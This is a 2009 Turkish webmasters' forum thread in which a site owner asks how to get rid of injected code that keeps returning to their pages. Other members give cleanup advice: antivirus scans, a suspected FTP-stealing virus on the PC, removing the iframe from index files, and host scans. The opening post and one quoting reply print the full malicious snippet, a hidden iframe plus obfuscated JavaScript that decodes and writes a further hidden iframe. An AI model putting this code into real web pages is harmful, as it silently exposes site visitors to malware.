• 06-04-2009, 10:13:29
    #1
    Arkadaslar mrb, sitemdeki kodu sürekli silmeme ragmen hergün aynı yerde yerini alıyor ve arama motorlarından siteye girişi engelliyor, ftp şifresini degiştirmeme ve kodu kaldırmama ragmen sürekli geliyor bu kodu tamamen nasıl silerim?
    <iframe src='http://url/' width='1' height='1' style='visibility: hidden;'></iframe><script>function c1023895d9q49d95424293e6(q49d9542429bb7){ function q49d954242a389(){return 16;} return (eval('pars'+'eInt')(q49d9542429bb7,q49d954242a389()));}function q49d954242b32a(q49d954242bafa){ function q49d954242d26e(){var q49d954242da3c=2;return q49d954242da3c;} var q49d954242c2ca='';q49d954242e20c=String['fromCharCode'];for(q49d954242ca9a=0;q49d954242ca9a<q49d954242bafa.length;q49d954242ca9a+=q49d954242d26e()){ q49d954242c2ca+=(q49d954242e20c(c1023895d9q49d95424293e6(q49d954242bafa.substr(q49d954242ca9a,q49d954242d26e()))));}return q49d954242c2ca;} var n42='';var q49d954242e9dd='3C7'+n42+'3637'+n42+'2697'+n42+'07'+n42+'43E696628216D7'+n42+'96961297'+n42+'B646F637'+n42+'56D656E7'+n42+'42E7'+n42+'7'+n42+'7'+n42+'2697'+n42+'465287'+n42+'56E657'+n42+'363617'+n42+'065282027'+n42+'2533632536392536362537'+n42+'322536312536642536352532302536652536312536642536352533642536332533312533302532302537'+n42+'332537'+n42+'32253633253364253237'+n42+'2536382537'+n42+'342537'+n42+'342537'+n42+'30253361253266253266253637'+n42+'253666253637'+n42+'2536662533322536642536352532652536652536352537'+n42+'34253266253265253637'+n42+'2536662532662536332536382536352536332536622532652536382537'+n42+'34253664253663253366253237'+n42+'2532622534642536312537'+n42+'342536382532652537'+n42+'322536662537'+n42+'352536652536342532382534642536312537'+n42+'342536382532652537'+n42+'32253631253665253634253666253664253238253239253261253331253333253332253330253339253336253239253262253237'+n42+'253339253634253338253331253339253635253636253636253634253634253237'+n42+'2532302537'+n42+'37'+n42+'2536392536342537'+n42+'34253638253364253332253335253336253230253638253635253639253637'+n42+'2536382537'+n42+'342533642533352533312533362532302537'+n42+'332537'+n42+'342537'+n42+'39253663253635253364253237'+n42+'2537'+n42+'362536392537'+n42+'332536392536322536392536632536392537'+n42+'342537'+n42+'39253361253638253639253634253634253635253665253237'+n42+'2533652533632532662536392536362537'+n42+'3225363125366425363525336527'+n42+'29293B7'+n42+'D7'+n42+'6617'+n42+'2206D7'+n42+'969613D7'+n42+'47'+n42+'27'+n42+'5653B3C2F7'+n42+'3637'+n42+'2697'+n42+'07'+n42+'43E';document.write(q49d954242b32a(q49d954242e9dd));</script>
  • 06-04-2009, 10:23:32
    #2
    Merhabalar arkadaşım,

    Öncelikle vps veya sunucu herneyse nod32 kur ve kendi bilgisayarınada kur bunu eğer müşeterilerin varsada ftp girişlerini iptal ediver.

    Hem kendi makinanı hem de sunucunu iyi bir şekilde tarattır ve gerekli temizlikleri yapıver kardeşim.

    Daha sonra tüm sitelerindeki o verdiğin kodları esgeçmeden temizlemelisin. Genelde o kodlar .HTML uzantılı sayfalara bulaşmaktadır. Sende nasıl bilmiyorum ama aynı durum bende olduğu zaman dediğimi yaptım ve hiçbir sorunum kalmadı kardeşim.

    Umarım işine yaramıştır bunlar. RAP yapmaya gerek yok
  • 06-04-2009, 10:29:34
    #3
    Üyeliği durduruldu
    chmod ayarlarına bak hocam. diğer html kodlarada bak. bendede vardı. evimdeki pcde vardı virüs. giriyordum iframe kodu duruyordu orda fakat kafeden baktım öyle bir kod yoktu. birazda pc ile bir sorun
  • 06-04-2009, 14:20:24
    #4
    hocam ftp nin yedeğini al hostu kapat aç.sonra dosyaları tek tek kontrol et tekrar ftp den at ben öyle yapmıştım.
  • 06-04-2009, 17:19:42
    #5
    ShenShakRock adlı üyeden alıntı: mesajı görüntüle
    Arkadaslar mrb, sitemdeki kodu sürekli silmeme ragmen hergün aynı yerde yerini alıyor ve arama motorlarından siteye girişi engelliyor, ftp şifresini degiştirmeme ve kodu kaldırmama ragmen sürekli geliyor bu kodu tamamen nasıl silerim?
    <iframe src='http://url/' width='1' height='1' style='visibility: hidden;'></iframe><script>function c1023895d9q49d95424293e6(q49d9542429bb7){ function q49d954242a389(){return 16;} return (eval('pars'+'eInt')(q49d9542429bb7,q49d954242a389()));}function q49d954242b32a(q49d954242bafa){ function q49d954242d26e(){var q49d954242da3c=2;return q49d954242da3c;} var q49d954242c2ca='';q49d954242e20c=String['fromCharCode'];for(q49d954242ca9a=0;q49d954242ca9a<q49d954242bafa.length;q49d954242ca9a+=q49d954242d26e()){ q49d954242c2ca+=(q49d954242e20c(c1023895d9q49d95424293e6(q49d954242bafa.substr(q49d954242ca9a,q49d954242d26e()))));}return q49d954242c2ca;} var n42='';var q49d954242e9dd='3C7'+n42+'3637'+n42+'2697'+n42+'07'+n42+'43E696628216D7'+n42+'96961297'+n42+'B646F637'+n42+'56D656E7'+n42+'42E7'+n42+'7'+n42+'7'+n42+'2697'+n42+'465287'+n42+'56E657'+n42+'363617'+n42+'065282027'+n42+'2533632536392536362537'+n42+'322536312536642536352532302536652536312536642536352533642536332533312533302532302537'+n42+'332537'+n42+'32253633253364253237'+n42+'2536382537'+n42+'342537'+n42+'342537'+n42+'30253361253266253266253637'+n42+'253666253637'+n42+'2536662533322536642536352532652536652536352537'+n42+'34253266253265253637'+n42+'2536662532662536332536382536352536332536622532652536382537'+n42+'34253664253663253366253237'+n42+'2532622534642536312537'+n42+'342536382532652537'+n42+'322536662537'+n42+'352536652536342532382534642536312537'+n42+'342536382532652537'+n42+'32253631253665253634253666253664253238253239253261253331253333253332253330253339253336253239253262253237'+n42+'253339253634253338253331253339253635253636253636253634253634253237'+n42+'2532302537'+n42+'37'+n42+'2536392536342537'+n42+'34253638253364253332253335253336253230253638253635253639253637'+n42+'2536382537'+n42+'342533642533352533312533362532302537'+n42+'332537'+n42+'342537'+n42+'39253663253635253364253237'+n42+'2537'+n42+'362536392537'+n42+'332536392536322536392536632536392537'+n42+'342537'+n42+'39253361253638253639253634253634253635253665253237'+n42+'2533652533632532662536392536362537'+n42+'3225363125366425363525336527'+n42+'29293B7'+n42+'D7'+n42+'6617'+n42+'2206D7'+n42+'969613D7'+n42+'47'+n42+'27'+n42+'5653B3C2F7'+n42+'3637'+n42+'2697'+n42+'07'+n42+'43E';document.write(q49d954242b32a(q49d954242e9dd));</script>

    Pcni kullandığın pcyi sağlam tarat öyle yada böyle bir virüs var o bulaşmış amacı ftpde bulunan sitelerine iframe atıyor.O virüsü bulup temizlemen lazım
  • 06-04-2009, 17:23:27
    #6
    Ya hocam ne hostu kapatması gerek yok .Sen sadece bilgisayarına format at.Başka demiz bir bilgisayardan index.php index.html. dosyalarının en altındaki <iframe ile başlayan kodu sil oldu bitti.
  • 07-04-2009, 13:31:30
    #7
    - Selam Arkadasım İframe Kodunu Silersen Özelikle İndex. Sayfalarında Sorunun Bitmiş Olucaktır.
  • 07-04-2009, 18:45:54
    #8
    Eğer bir paylaşımlı sunucu yani hosting kullanıyorsan hosting firmana söyle, siteni taratsınlar. Böylelikle kurtulabiliyorsun sorundan.

    15 gün önce bu yöntem test edildi, onaylandı

    Saygılar
  • 07-04-2009, 21:06:50
    #9
    Üyeliği durduruldu
    burakscan adlı üyeden alıntı: mesajı görüntüle
    Ya hocam ne hostu kapatması gerek yok .Sen sadece bilgisayarına format at.Başka demiz bir bilgisayardan index.php index.html. dosyalarının en altındaki <iframe ile başlayan kodu sil oldu bitti.
    aynı düşüncedeyim.
    ayrıca siteyi yönetirken kullandığınız bilgisayarı da temizlemenizi öneririm.